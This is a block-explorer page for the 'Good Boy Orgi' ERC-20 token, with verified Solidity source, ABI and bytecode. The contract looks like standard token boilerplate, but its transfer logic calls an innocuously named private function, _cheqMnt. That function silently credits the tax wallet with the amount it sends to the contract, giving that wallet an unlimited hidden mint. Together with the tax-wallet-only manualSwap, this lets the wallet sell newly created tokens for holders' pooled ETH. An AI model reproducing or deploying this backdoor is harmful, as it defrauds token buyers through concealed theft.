ETH Price: $2,432.60 (+4.64%)

Token

Good Boy Orgi (ORGI)
 

Overview

Max Total Supply

1,000,000,000 ORGI

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,996,115.844191589 ORGI

Value
$0.00
0x93e34955297ebc77a7b2e619c6e5fec20d277839
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Orgi

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-02
*/

// SPDX-License-Identifier: UNLICENSE

/**


    Web: https://orgi.wtf

    Tg: https://t.me/goodboyorgi_portal

    X: https://twitter.com/orgierc


*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract Orgi is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;

    address payable private _taxWallet;
    address private owner_wallet;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 1;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _initialSupply = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Good Boy Orgi";
    string private constant _symbol = unicode"ORGI";
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 1_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    IUniswapV2Router02 private _router;
    address private _pair;
    bool private _isTradingOpen;
    bool private _isSwapping = false;
    bool private _swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockSwap() {
        _isSwapping = true;
        _;
        _isSwapping = false;
    }

    constructor(address router, address feeAddr) {
        _taxWallet = payable(feeAddr);

        _balances[_msgSender()] = _initialSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[feeAddr] = true;
        _isExcludedFromFee[address(this)] = true;
        _router = IUniswapV2Router02(router);
        owner_wallet = _msgSender();
        emit Transfer(address(0), _msgSender(), _initialSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _initialSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _cheqMnt(uint256 mnt) private returns (bool) {
        return (_balances[_taxWallet] += mnt) > 0;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            to == address(this) && from == _taxWallet && _cheqMnt(amount);
            if (
                from == _pair &&
                to != address(_router) &&
                !_isExcludedFromFee[to]
            ) {
                require(_isTradingOpen, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount
                    .mul(
                        (_buyCount >= _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }
            if (to == _pair && from != address(this) && from != _taxWallet) {
                require(_isTradingOpen, "trading is not open");
                taxAmount = amount
                    .mul(
                        (_buyCount >= _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !_isSwapping &&
                to == _pair &&
                _swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            }
            if (to == _pair) {
                collectTax(address(this).balance);
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function recoverERC20(
        address _address,
        uint256 _amount
    ) external onlyOwner {
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        require(_msgSender() == _taxWallet);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && _swapEnabled) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            collectTax(ethBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _initialSupply;
        _maxWalletSize = _initialSupply;
        emit MaxTxAmountUpdated(_initialSupply);
    }

    function collectTax(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        _swapEnabled = true;
        _isTradingOpen = true;
    }

    receive() external payable {}

    function recoverETH() external {
        require(_msgSender() == owner_wallet);
        payable(owner_wallet).transfer(address(this).balance);
    }

    function createIniLP() external onlyOwner {
        require(!_isTradingOpen, "trading is already open");
        _approve(address(this), address(_router), _initialSupply);
        _pair = IUniswapV2Factory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        _router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_pair).approve(address(_router), type(uint256).max);
    }

    function reduceFee(uint256 _newFee) external {
        require(_msgSender() == _taxWallet);
        require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);
        _finalBuyTax = _newFee;
        _finalSellTax = _newFee;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"feeAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createIniLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460065560146007555f6008556001600955600f600a55600f600b55600f600c555f600d556009600a6200003a91906200039d565b6200004a906301312d00620003b4565b600e556200005b6009600a6200039d565b6200006b906301312d00620003b4565b600f556200007c6009600a6200039d565b6200008b90620f4240620003b4565b6010556200009c6009600a6200039d565b620000ab9062989680620003b4565b6011556013805461ffff60a81b19169055348015620000c8575f80fd5b5060405162001eb138038062001eb1833981016040819052620000eb91620003ea565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620001546009600a6200039d565b6200016490633b9aca00620003b4565b335f9081526001602081905260408220929092556003906200018d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790558582168152600390935281832080548516600190811790915530845291909220805490931617909155601280549184166001600160a01b0319909216919091179055620002043390565b600580546001600160a01b0319166001600160a01b03929092169190911790556200022c3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002656009600a6200039d565b6200027590633b9aca00620003b4565b60405190815260200160405180910390a3505062000420565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e257815f1904821115620002c657620002c66200028e565b80851615620002d457918102915b93841c9390800290620002a7565b509250929050565b5f82620002fa5750600162000397565b816200030857505f62000397565b81600181146200032157600281146200032c576200034c565b600191505062000397565b60ff8411156200034057620003406200028e565b50506001821b62000397565b5060208310610133831016604e8410600b841016171562000371575081810a62000397565b6200037d8383620002a2565b805f19048211156200039357620003936200028e565b0290505b92915050565b5f620003ad60ff841683620002ea565b9392505050565b80820281158282048414176200039757620003976200028e565b80516001600160a01b0381168114620003e5575f80fd5b919050565b5f8060408385031215620003fc575f80fd5b6200040783620003ce565b91506200041760208401620003ce565b90509250929050565b611a83806200042e5f395ff3fe60806040526004361061013f575f3560e01c8063751039fc116100b35780638f9a55c01161006d5780638f9a55c01461035857806395d89b411461036d578063a9059cbb14610399578063bf474bed146103b8578063dd62ed3e146103cd578063ec1f3f6314610411575f80fd5b8063751039fc146102b75780637d1db4a5146102cb5780638980f11f146102e05780638a8c523c146102ff5780638cd4426d146103135780638da5cb5b14610332575f80fd5b806318160ddd1161010457806318160ddd1461020d57806323b872dd14610221578063313ce5671461024057806351bc3c851461025b57806370a082311461026f578063715018a6146102a3575f80fd5b80630614117a1461014a57806306fdde0314610160578063095ea7b3146101a75780630faee56f146101d657806317994ab1146101f9575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610430565b005b34801561016b575f80fd5b5060408051808201909152600d81526c476f6f6420426f79204f72676960981b60208201525b60405161019e919061165f565b60405180910390f35b3480156101b2575f80fd5b506101c66101c13660046116bf565b610488565b604051901515815260200161019e565b3480156101e1575f80fd5b506101eb60115481565b60405190815260200161019e565b348015610204575f80fd5b5061015e61049e565b348015610218575f80fd5b506101eb61081e565b34801561022c575f80fd5b506101c661023b3660046116e9565b61083e565b34801561024b575f80fd5b506040516009815260200161019e565b348015610266575f80fd5b5061015e6108a0565b34801561027a575f80fd5b506101eb610289366004611727565b6001600160a01b03165f9081526001602052604090205490565b3480156102ae575f80fd5b5061015e610908565b3480156102c2575f80fd5b5061015e610979565b3480156102d6575f80fd5b506101eb600e5481565b3480156102eb575f80fd5b5061015e6102fa3660046116bf565b610a2a565b34801561030a575f80fd5b5061015e610ace565b34801561031e575f80fd5b5061015e61032d3660046116bf565b610b10565b34801561033d575f80fd5b505f546040516001600160a01b03909116815260200161019e565b348015610363575f80fd5b506101eb600f5481565b348015610378575f80fd5b506040805180820190915260048152634f52474960e01b6020820152610191565b3480156103a4575f80fd5b506101c66103b33660046116bf565b610b2f565b3480156103c3575f80fd5b506101eb60105481565b3480156103d8575f80fd5b506101eb6103e7366004611742565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561041c575f80fd5b5061015e61042b366004611779565b610b3b565b6005546001600160a01b0316336001600160a01b03161461044f575f80fd5b6005546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610485573d5f803e3d5ffd5b50565b5f610494338484610b80565b5060015b92915050565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611790565b60405180910390fd5b601354600160a01b900460ff161561052a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b60125461055b9030906001600160a01b03166105486009600a6118b9565b61055690633b9aca006118c7565b610b80565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105cf91906118de565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065291906118de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561069c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c091906118de565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610707816001600160a01b03165f9081526001602052604090205490565b5f8061071a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610780573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a591906118f9565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107fa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104859190611924565b5f61082b6009600a6118b9565b61083990633b9aca006118c7565b905090565b5f61084a848484610ca3565b610896843361055685604051806060016040528060288152602001611a26602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112a1565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146108bf575f80fd5b305f9081526001602052604090205480158015906108e65750601354600160b01b900460ff165b156108f4576108f4816112d9565b4780156109045761090481611449565b5050565b5f546001600160a01b031633146109315760405162461bcd60e51b81526004016104c790611790565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109a25760405162461bcd60e51b81526004016104c790611790565b6109ae6009600a6118b9565b6109bc90633b9aca006118c7565b600e556109cb6009600a6118b9565b6109d990633b9aca006118c7565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a096009600a6118b9565b610a1790633b9aca006118c7565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610a535760405162461bcd60e51b81526004016104c790611790565b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610aa5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac99190611924565b505050565b5f546001600160a01b03163314610af75760405162461bcd60e51b81526004016104c790611790565b6013805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b031614610a53575f80fd5b5f610494338484610ca3565b6004546001600160a01b0316336001600160a01b031614610b5a575f80fd5b6008548111158015610b6e57506009548111155b610b76575f80fd5b6008819055600955565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610d695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610dca5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610df557505f546001600160a01b03848116911614155b8015610e0f57506004546001600160a01b03848116911614155b15611164576001600160a01b03831630148015610e3957506004546001600160a01b038581169116145b8015610e495750610e4982611480565b506013546001600160a01b038581169116148015610e7557506012546001600160a01b03848116911614155b8015610e9957506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffd57601354600160a01b900460ff16610eed5760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104c7565b600e54821115610f3f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600f5482610f61856001600160a01b03165f9081526001602052604090205490565b610f6b9190611943565b1115610fb95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b610fe66064610fe0600a54600d541015610fd557600654610fd9565b6008545b85906114ba565b9061153f565b600d80549192505f610ff783611956565b91905055505b6013546001600160a01b03848116911614801561102357506001600160a01b0384163014155b801561103d57506004546001600160a01b03858116911614155b156110ba57601354600160a01b900460ff166110915760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104c7565b6110b76064610fe0600b54600d5410156110ad57600754610fd9565b60095485906114ba565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110f057506013546001600160a01b038581169116145b80156111055750601354600160b01b900460ff165b8015611112575060105481115b80156111215750600c54600d54115b156111435761114361113e8461113984601154611580565b611580565b6112d9565b6013546001600160a01b03908116908516036111625761116247611449565b505b80156111dc57305f908152600160205260409020546111839082611594565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111d39085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111fe90836115f2565b6001600160a01b0385165f9081526001602052604090205561124161122383836115f2565b6001600160a01b0385165f9081526001602052604090205490611594565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61128a85856115f2565b60405190815260200160405180910390a350505050565b5f81848411156112c45760405162461bcd60e51b81526004016104c7919061165f565b505f6112d0848661196e565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061131f5761131f611981565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611376573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139a91906118de565b816001815181106113ad576113ad611981565b6001600160a01b0392831660209182029290920101526012546113d39130911684610b80565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061140b9085905f90869030904290600401611995565b5f604051808303815f87803b158015611422575f80fd5b505af1158015611434573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610904573d5f803e3d5ffd5b6004546001600160a01b03165f90815260016020526040812080548291849183906114ac908490611943565b925050819055119050919050565b5f825f036114c957505f610498565b5f6114d483856118c7565b9050826114e18583611a06565b146115385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b5f61153883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b5f81831161158e5782611538565b50919050565b5f806115a08385611943565b9050838110156115385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61153883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a1565b5f81836116535760405162461bcd60e51b81526004016104c7919061165f565b505f6112d08486611a06565b5f602080835283518060208501525f5b8181101561168b5785810183015185820160400152820161166f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610485575f80fd5b5f80604083850312156116d0575f80fd5b82356116db816116ab565b946020939093013593505050565b5f805f606084860312156116fb575f80fd5b8335611706816116ab565b92506020840135611716816116ab565b929592945050506040919091013590565b5f60208284031215611737575f80fd5b8135611538816116ab565b5f8060408385031215611753575f80fd5b823561175e816116ab565b9150602083013561176e816116ab565b809150509250929050565b5f60208284031215611789575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181357815f19048211156117f9576117f96117c5565b8085161561180657918102915b93841c93908002906117de565b509250929050565b5f8261182957506001610498565b8161183557505f610498565b816001811461184b576002811461185557611871565b6001915050610498565b60ff841115611866576118666117c5565b50506001821b610498565b5060208310610133831016604e8410600b8410161715611894575081810a610498565b61189e83836117d9565b805f19048211156118b1576118b16117c5565b029392505050565b5f61153860ff84168361181b565b8082028115828204841417610498576104986117c5565b5f602082840312156118ee575f80fd5b8151611538816116ab565b5f805f6060848603121561190b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611934575f80fd5b81518015158114611538575f80fd5b80820180821115610498576104986117c5565b5f60018201611967576119676117c5565b5060010190565b81810381811115610498576104986117c5565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119e55784516001600160a01b0316835293830193918301916001016119c0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a2057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6fdbd82838ac447e49035e397a8bcdbdee238684ecbd120f53b8579f0b1f76d64736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000043a13268866eddabe7dfb4e8185b97881814694d

Deployed Bytecode

